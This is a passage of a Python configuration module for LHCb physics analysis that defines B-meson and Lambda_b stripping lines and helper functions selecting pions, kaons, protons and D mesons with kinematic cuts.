StrippingLine('AllB2DStarDLine'+name,\n prescale = config['B2DStarDAll_Prescale'],\n postscale = config['B2DStarDAll_Postscale'],\n #algos = [ self.EventFilter, self.B2DStarD]\n selection = self.B2DStarD,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllLambdaB2LambdaCPiPiPiLine = StrippingLine('AllLambdaB2LambdaCPiPiPiLine'+name,\n prescale = config['B2DPiPiPiAll_Prescale'],\n postscale = config['B2DPiPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.LambdaB2LambdaCPiPiPi]\n selection = self.LambdaB2LambdaCPiPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllLambdaB2LambdaCKPiPiLine = StrippingLine('AllLambdaB2LambdaCKPiPiLine'+name,\n prescale = config['B2DKPiPiAll_Prescale'],\n postscale = config['B2DKPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.LambdaB2LambdaCKPiPi]\n selection = self.LambdaB2LambdaCKPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllLambdaB2LambdaCPPbarPiLine = StrippingLine('AllLambdaB2LambdaCPPbarPiLine'+name,\n prescale = config['B2DPiPiPiAll_Prescale'],\n postscale = config['B2DPiPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.LambdaB2LambdaCPiPiPi]\n selection = self.LambdaB2LambdaCPPbarPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllLambdaB2LambdaCPPbarKLine = StrippingLine('AllLambdaB2LambdaCPPbarKLine'+name,\n prescale = config['B2DKPiPiAll_Prescale'],\n postscale = config['B2DKPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.LambdaB2LambdaCPiPiPi]\n selection = self.LambdaB2LambdaCPPbarK,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllB2DStarDKLine = StrippingLine('AllB2DStarDKLine'+name,\n prescale = config['B2DStarDKAll_Prescale'],\n postscale = config['B2DStarDKAll_Postscale'],\n selection = self.B2DStarDK,\n FILTER = self.EventFilter\n )\n self.StrippingAllB2D0DLine = StrippingLine('AllB2D0DLine'+name,\n prescale = config['B2DDAll_Prescale'],\n postscale = config['B2DDAll_Postscale'],\n selection = self.B2D0D,\n FILTER = self.EventFilter\n )\n\n #---------------------------\n # Wrong-Sign Stripping Lines\n #---------------------------\n\n\n self.StrippingAllWSB2DPiPiPiLine = StrippingLine('AllWSB2DPiPiPiLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSB2DPiPiPi]\n selection = self.WSB2DPiPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSB2DKPiPiLine = StrippingLine('AllWSB2DKPiPiLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSB2DKPiPi]\n selection = self.WSB2DKPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSB2DStarPiPiPiLine = StrippingLine('AllWSB2DStarPiPiPiLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSB2DStarPiPiPi]\n selection = self.WSB2DStarPiPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSB2DStarKPiPiLine = StrippingLine('AllWSB2DStarKPiPiLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSB2DStarKPiPi]\n selection = self.WSB2DStarKPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSB2DDLine = StrippingLine('AllWSB2DDLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSB2DD]\n selection = self.WSB2DD,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSB2DStarDLine = StrippingLine('AllWSB2DStarDLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSB2DStarD]\n selection = self.WSB2DStarD,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSLambdaB2LambdaCPiPiPiLine = StrippingLine('AllWSLambdaB2LambdaCPiPiPiLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSLambdaB2LambdaCPiPiPi]\n selection = self.WSLambdaB2LambdaCPiPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSLambdaB2LambdaCKPiPiLine = StrippingLine('AllWSLambdaB2LambdaCKPiPiLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.WSLambdaB2LambdaCKPiPi]\n selection = self.WSLambdaB2LambdaCKPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSLambdaB2LambdaCPPbarPiLine = StrippingLine('AllWSLambdaB2LambdaCPPbarPiLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.LambdaB2LambdaCPiPiPi]\n selection = self.WSLambdaB2LambdaCPPbarPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSLambdaB2LambdaCPPbarKLine = StrippingLine('AllWSLambdaB2LambdaCPPbarKLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n #algos = [ self.EventFilter, self.LambdaB2LambdaCPiPiPi]\n selection = self.WSLambdaB2LambdaCPPbarK,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllWSB2DStarDKLine = StrippingLine('AllWSB2DStarDKLine'+name,\n prescale = config['WSB2D3H_Prescale'],\n postscale = config['WSB2D3H_Postscale'],\n selection = self.WSB2DStarDK,\n FILTER = self.EventFilter\n )\n\n\n\n self.registerLine ( self.StrippingAllB2D0PiPiPiLine )\n self.registerLine ( self.StrippingAllB2D0KPiPiLine )\n #self.registerLine ( self.StrippingAllUnbiasedAB2DPiPiPiLine )\n self.registerLine ( self.StrippingAllB2DPiPiPiLine )\n self.registerLine ( self.StrippingAllB2DKPiPiLine )\n self.registerLine ( self.StrippingAllB2DStarPiPiPiLine )\n self.registerLine ( self.StrippingAllB2DStarKPiPiLine )\n self.registerLine ( self.StrippingAllB2DDLine )\n self.registerLine ( self.StrippingAllB2DStarDLine )\n self.registerLine ( self.StrippingAllLambdaB2LambdaCPiPiPiLine )\t#might be an error in line\n self.registerLine ( self.StrippingAllLambdaB2LambdaCKPiPiLine )\n self.registerLine ( self.StrippingAllLambdaB2LambdaCPPbarPiLine )\n self.registerLine ( self.StrippingAllLambdaB2LambdaCPPbarKLine )\n self.registerLine ( self.StrippingAllB2DStarDKLine )\n self.registerLine ( self.StrippingAllWSB2DPiPiPiLine )\n self.registerLine ( self.StrippingAllWSB2DKPiPiLine )\n self.registerLine ( self.StrippingAllWSB2DStarPiPiPiLine )\n self.registerLine ( self.StrippingAllWSB2DStarKPiPiLine )\n self.registerLine ( self.StrippingAllWSB2DDLine )\n self.registerLine ( self.StrippingAllWSB2DStarDLine )\n self.registerLine ( self.StrippingAllWSLambdaB2LambdaCPiPiPiLine )\n self.registerLine ( self.StrippingAllWSLambdaB2LambdaCKPiPiLine )\n self.registerLine ( self.StrippingAllWSLambdaB2LambdaCPPbarPiLine )\n self.registerLine ( self.StrippingAllWSLambdaB2LambdaCPPbarKLine )\n self.registerLine ( self.StrippingAllWSB2DStarDKLine )\n self.registerLine ( self.StrippingAllB2D0DLine )\n\ndef MyEventFilter(name, MaxTracks):\n \"\"\"\n Create and return EventFilter object by Filtering on Ntracks\n #\n Arguments:\n name : name of the Selection.\n PionMinP : Pion minimum momentum\n \"\"\"\n from Configurables import LoKi__VoidFilter as VoidFilter\n from Configurables import LoKi__Hybrid__CoreFactory as CoreFactory\n modules = CoreFactory('CoreFactory').Modules\n for i in ['LoKiTracks.decorators']:\n if i not in modules : modules.append(i)\n\n\n _eventFilter = VoidFilter(\"EventfilterFor\"+name)\n _eventFilter.Code = \"(recSummaryTrack(LHCb.RecSummary.nLongTracks, TrLONG) < %(MaxTracks)s )\" %locals()\n _eventFilter.Preambulo += [\"from LoKiTracks.decorators import *\"]\n\n return _eventFilter\n\ndef makeTISTOSSel(name, sel, trigger ) :\n from Configurables import TisTosParticleTagger\n tisTosFilter = TisTosParticleTagger(name + \"Filter\")\n tisTosFilter.TisTosSpecs = { trigger : 0}\n # the rest ist only to speed it up... (TISTOSsing only done with tracking system)\n tisTosFilter.ProjectTracksToCalo = False\n tisTosFilter.CaloClustForCharged = False\n tisTosFilter.CaloClustForNeutral = False\n tisTosFilter.TOSFrac = { 4:0.0, 5:0.0 }\n\n return Selection(name, Algorithm = tisTosFilter, RequiredSelections = [ sel ] )\n\ndef makePions(name, PionMinP, PionMaxP, PionMinPT, PionMinIPChisq, PionPiDDLL, TrkChisq):\n\n \"\"\"\n Create and return Pion Selection object by Filterinf StdLoosePions\n #\n Arguments:\n name : name of the Selection.\n PionMinP : Pion minimum momentum\n PionMaxP : Pion maximum momentum\n PionMinPT : Pion minimum pT\n PionMinIPChisq : Pion minimum IP Chisq\n TrkChisq : Cut on Track Chisq/DOF\n \"\"\"\n\n _stdLoosePions = DataOnDemand(Location = \"Phys/StdLoosePions/Particles\")\n _pionFilter = FilterDesktop(\"_filterFor\"+name)\n _pionFilter.Code = \"( (P > %(PionMinP)s *MeV) & (P < %(PionMaxP)s *MeV) & (PT> %(PionMinPT)s *MeV) & (PIDK < %(PionPiDDLL)s )\" \\\n \"& (MIPCHI2DV(PRIMARY)> %(PionMinIPChisq)s ) ) \" %locals()\n return Selection (name,\n Algorithm = _pionFilter,\n RequiredSelections = [_stdLoosePions])\n\ndef makeTightPions(name, PionMinP, PionMaxP, PionMinPT, PionMinIPChisq, TrkChisq):\n\n \"\"\"\n Create and return Pion Selection object by Filterinf StdTightPions\n #\n Arguments:\n name : name of the Selection.\n PionMinP : Pion minimum momentum\n PionMaxP : Pion maximum momentum\n PionMinPT : Pion minimum pT\n PionMinIPChisq : Pion minimum IP Chisq\n TrkChisq : Cut on Track Chisq/DOF\n \"\"\"\n\n _stdLoosePions = DataOnDemand(Location = \"Phys/StdTightPions/Particles\")\n _pionFilter = FilterDesktop(\"_filterFor\"+name)\n _pionFilter.Code = \"( (P > %(PionMinP)s *MeV) & (P < %(PionMaxP)s *MeV) & (PT> %(PionMinPT)s *MeV) \" \\\n \"& (MIPCHI2DV(PRIMARY)> %(PionMinIPChisq)s ) ) \" %locals()\n return Selection (name,\n Algorithm = _pionFilter,\n RequiredSelections = [_stdLoosePions])\n\ndef makeKaons(name, KaonMinP, KaonMaxP, KaonMinPT, KaonMinIPChisq, TrkChisq):\n\n \"\"\"\n Create and return Kaon Selection object by Filtering StdLooseKaons\n #\n Arguments:\n name : name of the Selection.\n KaonMinP : Kaon minimum momentum\n KaonMaxP : Kaon maximum momentum\n KaonMinPT : Kaon minimum pT\n KaonMinIPChisq : Kaon minimum IP Chisq\n TrkChisq : Cut on Track Chisq/DOF\n \"\"\"\n\n _stdLooseKaons = DataOnDemand(Location = \"Phys/StdLooseKaons/Particles\")\n _kaonFilter = FilterDesktop(\"_filterFor\"+name)\n _kaonFilter.Code = \"( (P > %(KaonMinP)s *MeV) & (P < %(KaonMaxP)s *MeV) & (PT> %(KaonMinPT)s *MeV) \" \\\n \"& (MIPDV(PRIMARY)>0.045*mm) & (MIPCHI2DV(PRIMARY)> %(KaonMinIPChisq)s ) ) \" %locals()\n return Selection (name,\n Algorithm = _kaonFilter,\n RequiredSelections = [_stdLooseKaons])\n\ndef makeTightKaons(name, KaonMinP, KaonMaxP, KaonMinPT, KaonMinIPChisq, TrkChisq):\n\n \"\"\"\n Create and return Kaon Selection object by Filtering StdTightKaons\n #\n Arguments:\n name : name of the Selection.\n KaonMinP : Kaon minimum momentum\n KaonMaxP : Kaon maximum momentum\n KaonMinPT : Kaon minimum pT\n KaonMinIPChisq : Kaon minimum IP Chisq\n TrkChisq : Cut on Track Chisq/DOF\n \"\"\"\n\n _stdLooseKaons = DataOnDemand(Location = \"Phys/StdTightKaons/Particles\")\n _kaonFilter = FilterDesktop(\"_filterFor\"+name)\n _kaonFilter.Code = \"( (P > %(KaonMinP)s *MeV) & (P < %(KaonMaxP)s *MeV) & (PT> %(KaonMinPT)s *MeV) \" \\\n \"& (MIPDV(PRIMARY)>0.045*mm) & (MIPCHI2DV(PRIMARY)> %(KaonMinIPChisq)s ) ) \" %locals()\n return Selection (name,\n Algorithm = _kaonFilter,\n RequiredSelections = [_stdLooseKaons])\n\ndef makeProtons(name, ProtonMinP, ProtonMaxP, ProtonMinPT, ProtonMinIPChisq, TrkChisq):\n\n \"\"\"\n Create and return Kaon Selection object by Filtering StdLooseKaons\n #\n Arguments:\n name : name of the Selection.\n ProtonMinP : Proton minimum momentum\n ProtonMaxP : Proton maximum momentum\n ProtonMinPT : Proton minimum pT\n ProtonMinIPChisq : Proton minimum IP Chisq\n TrkChisq : Cut on Track Chisq/DOF\n \"\"\"\n\n _stdLooseProtons = DataOnDemand(Location = \"Phys/StdLooseProtons/Particles\")\n _protonFilter = FilterDesktop(\"_filterFor\"+name)\n _protonFilter.Code = \"( (P > %(ProtonMinP)s *MeV) & (P < %(ProtonMaxP)s *MeV) & (PT> %(ProtonMinPT)s *MeV) \" \\\n \"& (MIPDV(PRIMARY)>0.045*mm) & (MIPCHI2DV(PRIMARY)> %(ProtonMinIPChisq)s ) ) \" %locals()\n return Selection (name,\n Algorithm = _protonFilter,\n RequiredSelections = [_stdLooseProtons])\n\n\ndef makePiPiPi( name,\n pionSel,\n MinPT,\n Bach3HMassWindow,\n Bach3HDocaMax,\n Bach3HMinPT,\n Bach3HIP2PV,\n Bach3HIPChisq2PV,\n Bach3HVtxChisq,\n Bach3HVtxSepChisq,\n Bach3HDiraPV,\n Bach3HZVtxSep,\n Bach3HDRPV\n ):\n\n \"\"\"\n Create and return PiPiPi Selection object.\n #\n Arguments:\n name : name of the Selection.\n pionSel : Pion selection object\n MinPT : One track allowed to have pT less than this value\n Bach3HMassWindow : Mass Window\n Bach3HDocaMax : Maximum value for DocaMax\n Bach3HMinPT : Minimum pT of Candidate\n Bach3HIP2PV : Minimum IP to PV\n Bach3HIPChisq2PV : Minimum IP Chisq to PC\n Bach3HVtxChisq : Maximum Vertex Chisquare\n Bach3HVtxSepChisq, : Minimum separation chisq. between cand and assoc. PV\n Bach3HDiraPV : Minimum direction angle value\n Bach3HZVtxSep : Minimum vertex separation from PV\n Bach3HDRPV : Minimum DR vertex separation from PV\n \"\"\"\n\n\n _a1Alg = CombineParticles(name)\n _a1Alg.DecayDescriptor = \"[a_1(1260)+ -> pi+ pi- pi+]cc\"\n _a1Alg.CombinationCut = \"( (AM < %(Bach3HMassWindow)s *MeV) & (APT > %(Bach3HMinPT)s *MeV)\" \\\n \" & (ANUM(PT < %(MinPT)s *MeV) <= 1) & (ACUTDOCA( %(Bach3HDocaMax)s *mm, '')) ) \" %locals()\n _a1Alg.MotherCut = \"( (PT > %(Bach3HMinPT)s *MeV) & (VFASPF(VCHI2/VDOF)< %(Bach3HVtxChisq)s )\" \\\n \" & (BPVVDCHI2 > %(Bach3HVtxSepChisq)s ) & (MIPCHI2DV(PRIMARY) > %(Bach3HIPChisq2PV)s )\" \\\n \" & (BPVDIRA > %(Bach3HDiraPV)s ) & (BPVVDZ> %(Bach3HZVtxSep)s *mm) & (BPVVDRHO > %(Bach3HDRPV)s *mm) \" \\\n \" & (MIPDV(PRIMARY)> %(Bach3HIP2PV)s *mm))\" % locals()\n\n\n selName = 'Sel'+name\n PiPiPiSelection = Selection(selName,\n Algorithm = _a1Alg,\n RequiredSelections = [pionSel])\n return PiPiPiSelection\n\ndef makeKPiPi( name,\n pionSel,\n kaonSel,\n MinPT,\n Bach3HMassWindow,\n Bach3HDocaMax,\n Bach3HMinPT,\n Bach3HIP2PV,\n Bach3HIPChisq2PV,\n Bach3HVtxChisq,\n Bach3HVtxSepChisq,\n Bach3HDiraPV,\n Bach3HZVtxSep,\n Bach3HDRPV\n ):\n\n \"\"\"\n Create and return KPiPi Selection object.\n #\n Arguments:\n name : name of the Selection.\n pionSel : Pion selection object\n kaonSel : Kaon selection object\n MinPT : One track allowed to have pT less than this value\n Bach3HMassWindow : Mass Window\n Bach3HDocaMax : Maximum value for DocaMax\n Bach3HMinPT : Minimum pT of Candidate\n Bach3HIP2PV : Minimum IP to PV\n Bach3HIPChisq2PV : Minimum IP Chisq to PC\n Bach3HVtxChisq : Maximum Vertex Chisquare\n Bach3HVtxSepChisq, : Minimum separation chisq. between cand and assoc. PV\n Bach3HDiraPV : Minimum direction angle value\n Bach3HZVtxSep : Minimum vertex separation from PC\n Bach3HDRPV : Minimum DR vertex separation from PV\n \"\"\"\n\n\n _k1Alg = CombineParticles(name)\n _k1Alg.DecayDescriptor = \"[K_1(1270)+ -> K+ pi- pi+]cc\"\n _k1Alg.CombinationCut = \"( (AM < %(Bach3HMassWindow)s *MeV) & (APT > %(Bach3HMinPT)s *MeV)\" \\\n \" & (ANUM(PT < %(MinPT)s *MeV) <= 1) & (ACUTDOCA( %(Bach3HDocaMax)s *mm, '')) ) \" %locals()\n _k1Alg.MotherCut = \"( (PT > %(Bach3HMinPT)s *MeV) & (VFASPF(VCHI2/VDOF)< %(Bach3HVtxChisq)s ) \" \\\n \" & (BPVVDCHI2 > %(Bach3HVtxSepChisq)s ) & (MIPCHI2DV(PRIMARY) > %(Bach3HIPChisq2PV)s )\" \\\n \" & (BPVDIRA > %(Bach3HDiraPV)s ) & (BPVVDZ> %(Bach3HZVtxSep)s *mm) & (BPVVDRHO > %(Bach3HDRPV)s *mm) \" \\\n \" & (MIPDV(PRIMARY)> %(Bach3HIP2PV)s *mm))\" % locals()\n\n selName = 'Sel'+name\n KPiPiSelection = Selection(selName,\n Algorithm = _k1Alg,\n RequiredSelections = [pionSel, kaonSel])\n return KPiPiSelection\n\ndef makePPbarh( name,\n protonSel,\n hSel,\n MinPT,\n Bach3HMassWindow,\n Bach3HDocaMax,\n Bach3HMinPT,\n Bach3HIP2PV,\n Bach3HIPChisq2PV,\n Bach3HVtxChisq,\n Bach3HVtxSepChisq,\n Bach3HDiraPV,\n Bach3HZVtxSep,\n Bach3HDRPV,\n decayDesc\n ):\n\n \"\"\"\n Create and return PPbarX Selection object.\n #\n Arguments:\n name : name of the Selection.\n protonSel : Proton selection object\n hSel : Pion/Kaon selection object\n MinPT : One track allowed to have pT less than this value\n Bach3HMassWindow : Mass Window\n Bach3HDocaMax : Maximum value for DocaMax\n Bach3HMinPT : Minimum pT of Candidate\n Bach3HIP2PV : Minimum IP to PV\n Bach3HIPChisq2PV : Minimum IP Chisq to PC\n Bach3HVtxChisq : Maximum Vertex Chisquare\n Bach3HVtxSepChisq, : Minimum separation chisq. between cand and assoc. PV\n Bach3HDiraPV : Minimum direction angle value\n Bach3HZVtxSep : Minimum vertex separation from PC\n Bach3HDRPV : Minimum DR vertex separation from PV\n \"\"\"\n\n\n _ppbarhAlg = CombineParticles(name)\n _ppbarhAlg.DecayDescriptor = decayDesc\n dauCut = \"(PIDp > 0)\"\n _ppbarhAlg.DaughtersCuts = { \"p+\" : dauCut}\n _ppbarhAlg.CombinationCut = \"( (AM < %(Bach3HMassWindow)s *MeV) & (APT > %(Bach3HMinPT)s *MeV)\" \\\n \" & (ANUM(PT < %(MinPT)s *MeV) <= 1) & (ACUTDOCA( %(Bach3HDocaMax)s *mm, '')) ) \" %locals()\n _ppbarhAlg.MotherCut = \"( (PT > %(Bach3HMinPT)s *MeV) & (VFASPF(VCHI2/VDOF)< %(Bach3HVtxChisq)s ) \" \\\n \" & (BPVVDCHI2 > %(Bach3HVtxSepChisq)s ) & (MIPCHI2DV(PRIMARY) > %(Bach3HIPChisq2PV)s )\" \\\n \" & (BPVDIRA > %(Bach3HDiraPV)s ) & (BPVVDZ> %(Bach3HZVtxSep)s *mm) & (BPVVDRHO > %(Bach3HDRPV)s *mm) \" \\\n \" & (MIPDV(PRIMARY)> %(Bach3HIP2PV)s *mm))\" % locals()\n\n selName = 'Sel'+name\n PPbarhSelection = Selection(selName,\n Algorithm = _ppbarhAlg,\n RequiredSelections = [protonSel, hSel])\n return PPbarhSelection\n\ndef makeD0Meson(name,\n pionSel,\n kaonSel,\n DMassWindow,\n DDocaMax,\n DMinPT,\n MinPT,\n DIP2PV,\n DIPChisq2PV,\n DVtxChisq,\n DVtxSepChisq,\n DDiraPV,\n DZVtxSep,\n DDRPV,\n PionMinIPChisq,\n PionPiDDLL,\n KaonPiDDLL\n ):\n \"\"\"\n Create and return D0 Selection object.\n Select the follwing charged D decays:\n D0 --> K-Pi, K+Pi-(DCS), K+K- and Pi+Pi-, filtered from StdLooseD02XX\n #\n Arguments:\n name : name of the Selection.\n pionSel : pion Selection object\n kaonSel : kaon Selection object\n DMassWindow : D/Ds Mass Window\n DDocaMax : Maximum value for Doca\n DMinPT : Minimum pT of Candidate\n DMinPT : Minimum pT of Candidate\n DIP2PV : Minimum IP to PV\n DIPChisq2PV : Minimum IP Chisq to PC\n DVtxChisq : Maximum Vertex Chisquare\n DVtxSepChisq, : Minimum separation chisq. between cand and assoc. PV\n DDiraPV : Minimum direction angle value\n DZVtxSep : Minimum vertex separation from PC\n DDRPV : Minimum DR vertex separation from PV\n \"\"\"\n\n _d2kpi = DataOnDemand(Location = \"Phys/StdLooseD02KPi/Particles\")\n _d2pipi = DataOnDemand(Location = \"Phys/StdLooseD02PiPi/Particles\")\n _d2kk = DataOnDemand(Location = \"Phys/StdLooseD02KK/Particles\")\n _d2kpiDCS = DataOnDemand(Location = \"Phys/StdLooseD02KPiDCS/Particles\")\n\n _dFilterCode = \"(PT>%(DMinPT)s*MeV)\"%locals()\n _dFilterCode += \"& (BPVVDZ> %(DZVtxSep)s *mm)\"%locals()\n _dFilterCode += \"& (MIPCHI2DV(PRIMARY) > %(DIPChisq2PV)s)\"%locals()\n _dFilterCode += \"& (BPVVDCHI2 > %(DVtxSepChisq)s) \"%locals()\n _dFilterCode += \"& (BPVDIRA > %(DDiraPV)s) \"%locals()\n _dFilterCode += \"& (BPVVDRHO > %(DDRPV)s *mm)\"%locals()\n _dFilterCode += \"& (MIPDV(PRIMARY)> %(DIP2PV)s*mm)\"%locals()\n\n _trkFilterCode = \"CHILDCUT(PT > %(MinPT)s *MeV, 1)\" %locals()\n _trkFilterCode += \"& CHILDCUT(PT > %(MinPT)s *MeV, 2)\" %locals()\n _trkFilterCode += \"& CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 1)\" %locals()\n _trkFilterCode += \"& CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 2)\" %locals()\n _pidpiPass = \"(MAXTREE(ABSID=='pi+',PIDK)<%(PionPiDDLL)s)\"%locals()\n\n _dMassWindow = \"(ADMASS('D0') < %(DMassWindow)s *MeV ) \" %locals()\n\n\n # D0 -->K- Pi+\n _code0 = _dMassWindow + \" & \" + _dFilterCode +\" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"D02KPiSel\"+name\n _d02kpiFilter = FilterDesktop('FilterFor'+theName,Code = _code0)\n D2KPiSelection = Selection(theName, Algorithm = _d02kpiFilter, RequiredSelections = [_d2kpi])\n\n # D0 -->K- Pi+\n _code1 = _dMassWindow + \" & \" + _dFilterCode +\" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"D02PiPiSel\"+name\n _d02pipiFilter = FilterDesktop('FilterFor'+theName,Code = _code1)\n D2PiPiSelection = Selection(theName, Algorithm = _d02pipiFilter, RequiredSelections = [_d2pipi])\n\n # D0 -->K- K+\n _code2 = _dMassWindow + \" & \" + _dFilterCode + \" & \" + _trkFilterCode\n theName = \"D02KKSel\"+name\n _d2kkFilter = FilterDesktop('FilterFor'+theName, Code = _code2)\n D2KKSelection = Selection(theName, Algorithm = _d2kkFilter, RequiredSelections = [_d2kk])\n\n # D0 -->K+ Pi- (DCS)\n _code3 = _dMassWindow + \" & \" + _dFilterCode +\" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"D02KPiDCSSel\"+name\n _d02kpiDCSFilter = FilterDesktop('FilterFor'+theName,Code = _code3)\n D2KPiDCSSelection = Selection(theName, Algorithm = _d02kpiDCSFilter, RequiredSelections = [_d2kpiDCS])\n\n selName = \"MergedSel\" + name\n _d0m = MergedSelection(selName, RequiredSelections = [D2PiPiSelection, D2KPiSelection, D2KKSelection, D2KPiDCSSelection] )\n\n return _d0m\n\n\ndef makeDStarMeson(name,\n dSel,\n pionSel,\n DStarMassWindow,\n DDocaMax,\n DStarMinPT,\n DIP2PV,\n DIPChisq2PV,\n DVtxChisq,\n DVtxSepChisq,\n DDiraPV,\n DZVtxSep,\n DDRPV\n ):\n \"\"\"\n Create and return D0 Selection object.\n Select the follwing charged D decays:\n D0 --> K-Pi, K+Pi-(DCS), K+K- and Pi+Pi-, filtered from StdLooseD02XX\n #\n Arguments:\n name : name of the Selection.\n dSel : D0 selection object\n pionSel : pion Selection object\n DStarMassWindow : Mass Window\n DDocaMax : Maximum value for Doca\n DStarMinPT : Minimum pT of Candidate\n DIP2PV : Minimum IP to PV\n DIPChisq2PV : Minimum IP Chisq to PC\n DVtxChisq : Maximum Vertex Chisquare\n DVtxSepChisq, : Minimum separation chisq. between cand and assoc. PV\n DDiraPV : Minimum direction angle value\n DZVtxSep : Minimum vertex separation from PC\n DDRPV : Minimum DR vertex separation from PV\n \"\"\"\n\n\n\n _dst2kpipi = DataOnDemand(Location = \"Phys/StdLooseDstarWithD02KPi/Particles\")\n _dst2pipipi = DataOnDemand(Location = \"Phys/StdLooseDstarWithD02PiPi/Particles\")\n _dst2kkpi = DataOnDemand(Location = \"Phys/StdLooseDstarWithD02KK/Particles\")\n _dst2kpipiDCS = DataOnDemand(Location = \"Phys/StdLooseDstarWithD02KPiDCS/Particles\")\n\n\n # D*+ -->(K- Pi+) Pi+\n theName = \"Dst2KPiPiSel\"+name\n _d2kpipiFilter = FilterDesktop('FilterFor'+theName, Code = '(ALL)')\n D2KPiPiSelection = Selection(theName, Algorithm = _d2kpipiFilter, RequiredSelections = [_dst2kpipi])\n\n # D*+ -->(Pi- Pi+) Pi+\n theName = \"Dst2PiPiPiSel\"+name\n _d2pipipiFilter = FilterDesktop('FilterFor'+theName, Code = '(ALL)')\n D2PiPiPiSelection = Selection(theName, Algorithm = _d2pipipiFilter, RequiredSelections = [_dst2pipipi])\n\n # D*+ -->(K- K+) Pi+\n theName = \"Dst2KKPiSel\"+name\n _d2kkpiFilter = FilterDesktop('FilterFor'+theName, Code = '(ALL)')\n D2KKPiSelection = Selection(theName, Algorithm = _d2kkpiFilter, RequiredSelections = [_dst2kkpi])\n\n # D*+ -->(K+ Pi-) Pi+\n theName = \"Dst2KPiPiDCSSel\"+name\n _d2kpipidcsFilter = FilterDesktop('FilterFor'+theName, Code = '(ALL)')\n D2KPiPiDCSSelection = Selection(theName, Algorithm = _d2kpipidcsFilter, RequiredSelections = [_dst2kpipiDCS])\n\n selName = 'MergedSel'+name\n _dm = MergedSelection(selName, RequiredSelections = [ D2KPiPiSelection, D2KKPiSelection, D2PiPiPiSelection, D2KPiPiDCSSelection])\n return _dm\n\n\n\n ####\n\n\n _dMassWindow = \"(ADAMASS('D*(2010)+') < %(DStarMassWindow)s *MeV ) \" %locals()\n _dFilterCode = \"((VFASPF(VCHI2/VDOF)< %(DVtxChisq)s ) & (PT > %(DStarMinPT)s *MeV) \" \\\n \" & (BPVVDZ> %(DZVtxSep)s *mm) & (MIPCHI2DV(PRIMARY) > %(DIPChisq2PV)s )\" \\\n \"& (BPVVDCHI2 > %(DVtxSepChisq)s ) & (BPVDIRA > %(DDiraPV)s ) & (BPVVDRHO > %(DDRPV)s *mm)\" \\\n \"& (MIPDV(PRIMARY)> %(DIP2PV)s *mm)) \" %locals()\n\n\n _dstar = CombineParticles ( name )\n _dstar.DecayDescriptor = \"[D*(2010)+ -> pi+ D0]cc\"\n _dstar.CombinationCut = \"(\" + _dMassWindow + \" & (APT > %(DStarMinPT)s *MeV)\" \\\n \" & ACUTDOCA( %(DDocaMax)s *mm, '' ) )\" %locals()\n _dstar.MotherCut = _dFilterCode %locals()\n DStarSelection = Selection(\"Sel\"+name, Algorithm = _dstar, RequiredSelections = [pionSel, dSel])\n\n return DStarSelection\n\ndef makeDMeson(name,\n pionSel,\n kaonSel,\n DMassWindow,\n DsMassWindow,\n DDocaMax,\n DMinPT,\n MinPT,\n DIP2PV,\n DIPChisq2PV,\n DVtxChisq,\n DVtxSepChisq,\n DDiraPV,\n DZVtxSep,\n DDRPV,\n PionMinIPChisq,\n PionPiDDLL,\n KaonPiDDLL\n ):\n \"\"\"\n Create and return D+, Ds+ Selection object.\n Select the follwing charged D decays:\n D+ --> K-Pi+Pi+, K+ K- Pi+, Pi+Pi-Pi+\n D_s+ --> K+Pi-Pi+, K+ K- Pi+, Pi+Pi-Pi+\n Note that the K Pi Pi final state has different charges for the D+ and D_s_\n #\n Arguments:\n name : name of the Selection.\n pionSel : pion Selection object\n kaonSel : kaon Selection object\n DMassWindow : D/Ds Mass Window\n DDocaMax : Maximum value for Doca\n DMinPT : Minimum pT of Candidate\n MinPT : One track allowed to have pT less than this value\n DIP2PV : Minimum IP to PV\n DIPChisq2PV : Minimum IP Chisq to PC\n DVtxChisq : Maximum Vertex Chisquare\n DVtxSepChisq, : Minimum separation chisq. between cand and assoc. PV\n DDiraPV : 